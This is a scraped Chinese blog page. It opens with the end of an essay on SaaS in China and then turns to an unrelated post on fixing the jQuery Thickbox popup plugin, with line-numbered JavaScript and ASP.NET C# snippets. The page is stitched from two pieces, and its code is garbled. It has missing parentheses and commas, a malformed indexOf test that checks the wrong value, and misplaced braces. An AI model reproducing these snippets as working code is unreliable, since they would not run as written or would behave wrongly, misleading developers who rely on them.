salesforce是目前进入国内做SAAS服务比较早的一个,随后还有阿里软件。这里不得不提一句阿里软件,因为阿里软件有很大的优势:通过 阿里巴巴网站聚敛了几百万中小型商户;多年互联网经营建立的品牌信誉度;和Microsoft合作强强联合以求强大的技术支撑;全国部署的上万台服务器提 供了充分安全的网络质量和故障转移方案。可以说阿里软件想不成功都很困难,这里不得不佩服马云。当然除了阿里巴巴以外,国内的金蝶,用友,金算 盘,800CRM都盯着这个市场,我相信在未来的几年,SAAS会成为一股潮流。
作为技术人员的角度来看待SAAS,我觉得有两点值得一提:
1、互联网应用和企业应用的界限会越来越模糊
很多开发人员言必称超级复杂的企业应用,动辄分布式事务,消息中间件。确实,在传统的大客户大项目当中,这些超级复杂的企业应用还会长期存在。但 是不可否认的一个事实就是,企业应用的开发人员会越来越多被要求从事SAAS类型应用的开发当中来。在这个领域,不是超级复杂的企业应用游戏规则,而是互 联网游戏规则:快速开发,快速反馈,简单架构,小团队,随需应变。因此解决传统超级复杂问题的编程工具利器也许不那么有效了,在这个新的领域,需要的是轻 量级的超级快速编程工具利器。
2、你想做中国的37signals吗?
如果你可以开发出很酷很好用,而且市场很需要的在线软件产品,就去做吧,不论是面向小型企业,还是面向消费者个人群体,我都相信这种在线软件消费模式在未来会广阔的市场前景。

[JQuery]Jquery弹出层插件Thickbox使用心得

mikel阅读(855)

Jquery弹出层插件Thickbox使用心得

   前段时间在建设银行项目上用EXT完整做了个单页系统,太赶了,没有记录下任何东西,现在都忘了,怪可惜的。这次项目用JQuery做js的东西。主要用了个弹出层控件thickbox,自己也扩展和修改了一下。这里就记下来,也提供大家下载,希望对大家有用吧。

  thickbox官方网站(上面有例子和基本的使用方法):http://JQuery.com/demo/thickbox/

  就我使用过程中,thickbox常见问题:

  1。跨iframe的弹出层。

   症状:每次thickbox都只在frame中弹出,而不会整个屏幕覆盖

  原因和解决方法:

          thickbox使用tb_show()函数在body后面加入弹出层。可以使用window.top.tb_show()把弹出层加到页面上。我的tihickbox插件中修改如下:在tb_init()中把tb_show(t,a,g)替换如下

  if(a.indexOf('TB_iniframe'!= 1
     {  
          window.top.tb_show(t,a,g);  
     }  
     
else  
     {  
      tb_show(t,a,g);  
     }  

 这样只只要在原来的链接上加入TB_iniframe=true即可,如div.aspx?height=180&width=400&TB_iframe=true&TB_iniframe=true&modal=true

   2.thickbox只支持一层弹出,不可支持多层弹出。

       修改过的控件已经支持(不足:ie6下失效弹出层失效了,占时没解决,哈哈)

  3. 弹出层关闭后,文本框无法聚焦。

    症状:关闭弹出层后,原来页面上的文本框无法聚焦

    原因和解决方法:这个的原因不好说,很多人都认为是ie本身的bug。是由于iframe没有移除,即使移除了。内存上也么有清除造成的。 这也是我猜的。哈哈。解决方法是在tb_remove()中先手动移除iframe然后,在强制做垃圾回收,至少我是可以啦。哈哈。代码如下:

 1function tb_remove() {
 2    var seq=PopSeq();
 3     $("#TB_imageOff"+seq).unbind("click");
 4     $("#TB_closeWindowButton" + seq).unbind("click");
 5
 6     $("#TB_window" + seq).fadeOut("fast", function() {
 7         ///手动移除ifrmae,IE的一个bug
 8         $('#TB_iframeContent' + seq).remove();
 9         $('#TB_window' + seq + ',#TB_overlay' + seq + ',#TB_HideSelect' + seq).trigger("unload").unbind().remove();
10        ///自己调用垃圾回收,强制清楚iframe内存,解决文本框无法输入问题。
11         CollectGarbage();
12     }
);
13    if (typeof document.body.style.maxHeight == "undefined"{//if IE 6
14        $("body","html").css({height: "auto", width: "auto"});
15        $("html").css("overflow","");
16    }

17    document.onkeydown = "";
18    document.onkeyup = "";
19    return false;
20}

 

 4.在ASP.NET中如何动态设置需要的参数和关闭弹出层。

症状:thickbox提供的例子都是需要在input后a的class加thickbox,而且参数什么都是固定的。 而我们传递的参数一般需要动态。

解决方法,使用ASP.NET ajax,不多说了。直接看代码吧。

封装一个popup类,

 1public class Popup
 2{
 3    /// <summary>
 4    /// show the pop up div
 5    /// </summary>
 6    /// <param name="panel">container the button</param>
 7    /// <param name="url"></param>

 8    public static void ShowPopup(UpdatePanel panel, string url)
 9    {
10        ScriptManager.RegisterClientScriptBlock(panel, panel.GetType(), "ShowPopup""ShowPopup('" + url + "')"true);
11    }

12
13    /// <summary>
14    /// 
15    /// </summary>
16    /// <param name="panel"></param>
17    /// <param name="page">request page</param>

18    public static void ClosePopup(UpdatePanel panel)
19    {
20
21        string js = " self.parent.tb_remove();";
22
23       ScriptManager.RegisterClientScriptBlock(panel, panel.GetType(),"closepopup", js, true);
24    }

25}

 需要的js

1function ShowPopup(url) {
2    window.top.tb_show(null, url, false);
3
4}

 页面上例子

1///add按钮需要放在updatepanel里面   
2 protected void btnAdd_Click(object sender, EventArgs e)
3    {
4///自己组参数
5        string url = "aa.aspx?height=180&width=400&Type="+ddlType.SelectedItem.Value;
6        url += "&TB_iframe=true&TB_iniframe=true&modal=true";
7        Popup.ShowPopup(this.upButtons, url);
8    }